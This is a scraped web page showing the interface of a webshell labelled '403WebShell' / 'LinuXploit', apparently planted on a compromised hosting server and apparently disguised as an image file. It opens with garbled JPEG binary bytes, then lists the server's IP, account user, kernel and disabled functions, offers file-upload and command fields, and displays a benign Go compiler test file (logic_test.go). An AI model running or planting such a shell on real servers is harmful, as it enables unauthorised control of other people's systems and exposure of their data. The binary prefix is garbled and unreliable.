JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.62  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/compile/internal/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/src/cmd/compile/internal/test/logic_test.go
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package test

import "testing"

// Tests to make sure logic simplification rules are correct.

func TestLogic64(t *testing.T) {
	// test values to determine function equality
	values := [...]int64{-1 << 63, 1<<63 - 1, -4, -3, -2, -1, 0, 1, 2, 3, 4}

	// golden functions we use repeatedly
	zero := func(x int64) int64 { return 0 }
	id := func(x int64) int64 { return x }
	or := func(x, y int64) int64 { return x | y }
	and := func(x, y int64) int64 { return x & y }
	y := func(x, y int64) int64 { return y }

	for _, test := range [...]struct {
		name   string
		f      func(int64) int64
		golden func(int64) int64
	}{
		{"x|x", func(x int64) int64 { return x | x }, id},
		{"x|0", func(x int64) int64 { return x | 0 }, id},
		{"x|-1", func(x int64) int64 { return x | -1 }, func(x int64) int64 { return -1 }},
		{"x&x", func(x int64) int64 { return x & x }, id},
		{"x&0", func(x int64) int64 { return x & 0 }, zero},
		{"x&-1", func(x int64) int64 { return x & -1 }, id},
		{"x^x", func(x int64) int64 { return x ^ x }, zero},
		{"x^0", func(x int64) int64 { return x ^ 0 }, id},
		{"x^-1", func(x int64) int64 { return x ^ -1 }, func(x int64) int64 { return ^x }},
		{"x+0", func(x int64) int64 { return x + 0 }, id},
		{"x-x", func(x int64) int64 { return x - x }, zero},
		{"x*0", func(x int64) int64 { return x * 0 }, zero},
		{"^^x", func(x int64) int64 { return ^^x }, id},
	} {
		for _, v := range values {
			got := test.f(v)
			want := test.golden(v)
			if want != got {
				t.Errorf("[%s](%d)=%d, want %d", test.name, v, got, want)
			}
		}
	}
	for _, test := range [...]struct {
		name   string
		f      func(int64, int64) int64
		golden func(int64, int64) int64
	}{
		{"x|(x|y)", func(x, y int64) int64 { return x | (x | y) }, or},
		{"x|(y|x)", func(x, y int64) int64 { return x | (y | x) }, or},
		{"(x|y)|x", func(x, y int64) int64 { return (x | y) | x }, or},
		{"(y|x)|x", func(x, y int64) int64 { return (y | x) | x }, or},
		{"x&(x&y)", func(x, y int64) int64 { return x & (x & y) }, and},
		{"x&(y&x)", func(x, y int64) int64 { return x & (y & x) }, and},
		{"(x&y)&x", func(x, y int64) int64 { return (x & y) & x }, and},
		{"(y&x)&x", func(x, y int64) int64 { return (y & x) & x }, and},
		{"x^(x^y)", func(x, y int64) int64 { return x ^ (x ^ y) }, y},
		{"x^(y^x)", func(x, y int64) int64 { return x ^ (y ^ x) }, y},
		{"(x^y)^x", func(x, y int64) int64 { return (x ^ y) ^ x }, y},
		{"(y^x)^x", func(x, y int64) int64 { return (y ^ x) ^ x }, y},
		{"-(y-x)", func(x, y int64) int64 { return -(y - x) }, func(x, y int64) int64 { return x - y }},
		{"(x+y)-x", func(x, y int64) int64 { return (x + y) - x }, y},
		{"(y+x)-x", func(x, y int64) int64 { return (y + x) - x }, y},
	} {
		for _, v := range values {
			for _, w := range values {
				got := test.f(v, w)
				want := test.golden(v, w)
				if want != got {
					t.Errorf("[%s](%d,%d)=%d, want %d", test.name, v, w, got, want)
				}
			}
		}
	}
}

func TestLogic32(t *testing.T) {
	// test values to determine function equality
	values := [...]int32{-1 << 31, 1<<31 - 1, -4, -3, -2, -1, 0, 1, 2, 3, 4}

	// golden functions we use repeatedly
	zero := func(x int32) int32 { return 0 }
	id := func(x int32) int32 { return x }
	or := func(x, y int32) int32 { return x | y }
	and := func(x, y int32) int32 { return x & y }
	y := func(x, y int32) int32 { return y }

	for _, test := range [...]struct {
		name   string
		f      func(int32) int32
		golden func(int32) int32
	}{
		{"x|x", func(x int32) int32 { return x | x }, id},
		{"x|0", func(x int32) int32 { return x | 0 }, id},
		{"x|-1", func(x int32) int32 { return x | -1 }, func(x int32) int32 { return -1 }},
		{"x&x", func(x int32) int32 { return x & x }, id},
		{"x&0", func(x int32) int32 { return x & 0 }, zero},
		{"x&-1", func(x int32) int32 { return x & -1 }, id},
		{"x^x", func(x int32) int32 { return x ^ x }, zero},
		{"x^0", func(x int32) int32 { return x ^ 0 }, id},
		{"x^-1", func(x int32) int32 { return x ^ -1 }, func(x int32) int32 { return ^x }},
		{"x+0", func(x int32) int32 { return x + 0 }, id},
		{"x-x", func(x int32) int32 { return x - x }, zero},
		{"x*0", func(x int32) int32 { return x * 0 }, zero},
		{"^^x", func(x int32) int32 { return ^^x }, id},
	} {
		for _, v := range values {
			got := test.f(v)
			want := test.golden(v)
			if want != got {
				t.Errorf("[%s](%d)=%d, want %d", test.name, v, got, want)
			}
		}
	}
	for _, test := range [...]struct {
		name   string
		f      func(int32, int32) int32
		golden func(int32, int32) int32
	}{
		{"x|(x|y)", func(x, y int32) int32 { return x | (x | y) }, or},
		{"x|(y|x)", func(x, y int32) int32 { return x | (y | x) }, or},
		{"(x|y)|x", func(x, y int32) int32 { return (x | y) | x }, or},
		{"(y|x)|x", func(x, y int32) int32 { return (y | x) | x }, or},
		{"x&(x&y)", func(x, y int32) int32 { return x & (x & y) }, and},
		{"x&(y&x)", func(x, y int32) int32 { return x & (y & x) }, and},
		{"(x&y)&x", func(x, y int32) int32 { return (x & y) & x }, and},
		{"(y&x)&x", func(x, y int32) int32 { return (y & x) & x }, and},
		{"x^(x^y)", func(x, y int32) int32 { return x ^ (x ^ y) }, y},
		{"x^(y^x)", func(x, y int32) int32 { return x ^ (y ^ x) }, y},
		{"(x^y)^x", func(x, y int32) int32 { return (x ^ y) ^ x }, y},
		{"(y^x)^x", func(x, y int32) int32 { return (y ^ x) ^ x }, y},
		{"-(y-x)", func(x, y int32) int32 { return -(y - x) }, func(x, y int32) int32 { return x - y }},
		{"(x+y)-x", func(x, y int32) int32 { return (x + y) - x }, y},
		{"(y+x)-x", func(x, y int32) int32 { return (y + x) - x }, y},
	} {
		for _, v := range values {
			for _, w := range values {
				got := test.f(v, w)
				want := test.golden(v, w)
				if want != got {
					t.Errorf("[%s](%d,%d)=%d, want %d", test.name, v, w, got, want)
				}
			}
		}
	}
}

func TestLogic16(t *testing.T) {
	// test values to determine function equality
	values := [...]int16{-1 << 15, 1<<15 - 1, -4, -3, -2, -1, 0, 1, 2, 3, 4}

	// golden functions we use repeatedly
	zero := func(x int16) int16 { return 0 }
	id := func(x int16) int16 { return x }
	or := func(x, y int16) int16 { return x | y }
	and := func(x, y int16) int16 { return x & y }
	y := func(x, y int16) int16 { return y }

	for _, test := range [...]struct {
		name   string
		f      func(int16) int16
		golden func(int16) int16
	}{
		{"x|x", func(x int16) int16 { return x | x }, id},
		{"x|0", func(x int16) int16 { return x | 0 }, id},
		{"x|-1", func(x int16) int16 { return x | -1 }, func(x int16) int16 { return -1 }},
		{"x&x", func(x int16) int16 { return x & x }, id},
		{"x&0", func(x int16) int16 { return x & 0 }, zero},
		{"x&-1", func(x int16) int16 { return x & -1 }, id},
		{"x^x", func(x int16) int16 { return x ^ x }, zero},
		{"x^0", func(x int16) int16 { return x ^ 0 }, id},
		{"x^-1", func(x int16) int16 { return x ^ -1 }, func(x int16) int16 { return ^x }},
		{"x+0", func(x int16) int16 { return x + 0 }, id},
		{"x-x", func(x int16) int16 { return x - x }, zero},
		{"x*0", func(x int16) int16 { return x * 0 }, zero},
		{"^^x", func(x int16) int16 { return ^^x }, id},
	} {
		for _, v := range values {
			got := test.f(v)
			want := test.golden(v)
			if want != got {
				t.Errorf("[%s](%d)=%d, want %d", test.name, v, got, want)
			}
		}
	}
	for _, test := range [...]struct {
		name   string
		f      func(int16, int16) int16
		golden func(int16, int16) int16
	}{
		{"x|(x|y)", func(x, y int16) int16 { return x | (x | y) }, or},
		{"x|(y|x)", func(x, y int16) int16 { return x | (y | x) }, or},
		{"(x|y)|x", func(x, y int16) int16 { return (x | y) | x }, or},
		{"(y|x)|x", func(x, y int16) int16 { return (y | x) | x }, or},
		{"x&(x&y)", func(x, y int16) int16 { return x & (x & y) }, and},
		{"x&(y&x)", func(x, y int16) int16 { return x & (y & x) }, and},
		{"(x&y)&x", func(x, y int16) int16 { return (x & y) & x }, and},
		{"(y&x)&x", func(x, y int16) int16 { return (y & x) & x }, and},
		{"x^(x^y)", func(x, y int16) int16 { return x ^ (x ^ y) }, y},
		{"x^(y^x)", func(x, y int16) int16 { return x ^ (y ^ x) }, y},
		{"(x^y)^x", func(x, y int16) int16 { return (x ^ y) ^ x }, y},
		{"(y^x)^x", func(x, y int16) int16 { return (y ^ x) ^ x }, y},
		{"-(y-x)", func(x, y int16) int16 { return -(y - x) }, func(x, y int16) int16 { return x - y }},
		{"(x+y)-x", func(x, y int16) int16 { return (x + y) - x }, y},
		{"(y+x)-x", func(x, y int16) int16 { return (y + x) - x }, y},
	} {
		for _, v := range values {
			for _, w := range values {
				got := test.f(v, w)
				want := test.golden(v, w)
				if want != got {
					t.Errorf("[%s](%d,%d)=%d, want %d", test.name, v, w, got, want)
				}
			}
		}
	}
}

func TestLogic8(t *testing.T) {
	// test values to determine function equality
	values := [...]int8{-1 << 7, 1<<7 - 1, -4, -3, -2, -1, 0, 1, 2, 3, 4}

	// golden functions we use repeatedly
	zero := func(x int8) int8 { return 0 }
	id := func(x int8) int8 { return x }
	or := func(x, y int8) int8 { return x | y }
	and := func(x, y int8) int8 { return x & y }
	y := func(x, y int8) int8 { return y }

	for _, test := range [...]struct {
		name   string
		f      func(int8) int8
		golden func(int8) int8
	}{
		{"x|x", func(x int8) int8 { return x | x }, id},
		{"x|0", func(x int8) int8 { return x | 0 }, id},
		{"x|-1", func(x int8) int8 { return x | -1 }, func(x int8) int8 { return -1 }},
		{"x&x", func(x int8) int8 { return x & x }, id},
		{"x&0", func(x int8) int8 { return x & 0 }, zero},
		{"x&-1", func(x int8) int8 { return x & -1 }, id},
		{"x^x", func(x int8) int8 { return x ^ x }, zero},
		{"x^0", func(x int8) int8 { return x ^ 0 }, id},
		{"x^-1", func(x int8) int8 { return x ^ -1 }, func(x int8) int8 { return ^x }},
		{"x+0", func(x int8) int8 { return x + 0 }, id},
		{"x-x", func(x int8) int8 { return x - x }, zero},
		{"x*0", func(x int8) int8 { return x * 0 }, zero},
		{"^^x", func(x int8) int8 { return ^^x }, id},
	} {
		for _, v := range values {
			got := test.f(v)
			want := test.golden(v)
			if want != got {
				t.Errorf("[%s](%d)=%d, want %d", test.name, v, got, want)
			}
		}
	}
	for _, test := range [...]struct {
		name   string
		f      func(int8, int8) int8
		golden func(int8, int8) int8
	}{
		{"x|(x|y)", func(x, y int8) int8 { return x | (x | y) }, or},
		{"x|(y|x)", func(x, y int8) int8 { return x | (y | x) }, or},
		{"(x|y)|x", func(x, y int8) int8 { return (x | y) | x }, or},
		{"(y|x)|x", func(x, y int8) int8 { return (y | x) | x }, or},
		{"x&(x&y)", func(x, y int8) int8 { return x & (x & y) }, and},
		{"x&(y&x)", func(x, y int8) int8 { return x & (y & x) }, and},
		{"(x&y)&x", func(x, y int8) int8 { return (x & y) & x }, and},
		{"(y&x)&x", func(x, y int8) int8 { return (y & x) & x }, and},
		{"x^(x^y)", func(x, y int8) int8 { return x ^ (x ^ y) }, y},
		{"x^(y^x)", func(x, y int8) int8 { return x ^ (y ^ x) }, y},
		{"(x^y)^x", func(x, y int8) int8 { return (x ^ y) ^ x }, y},
		{"(y^x)^x", func(x, y int8) int8 { return (y ^ x) ^ x }, y},
		{"-(y-x)", func(x, y int8) int8 { return -(y - x) }, func(x, y int8) int8 { return x - y }},
		{"(x+y)-x", func(x, y int8) int8 { return (x + y) - x }, y},
		{"(y+x)-x", func(x, y int8) int8 { return (y + x) - x }, y},
	} {
		for _, v := range values {
			for _, w := range values {
				got := test.f(v, w)
				want := test.golden(v, w)
				if want != got {
					t.Errorf("[%s](%d,%d)=%d, want %d", test.name, v, w, got, want)
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit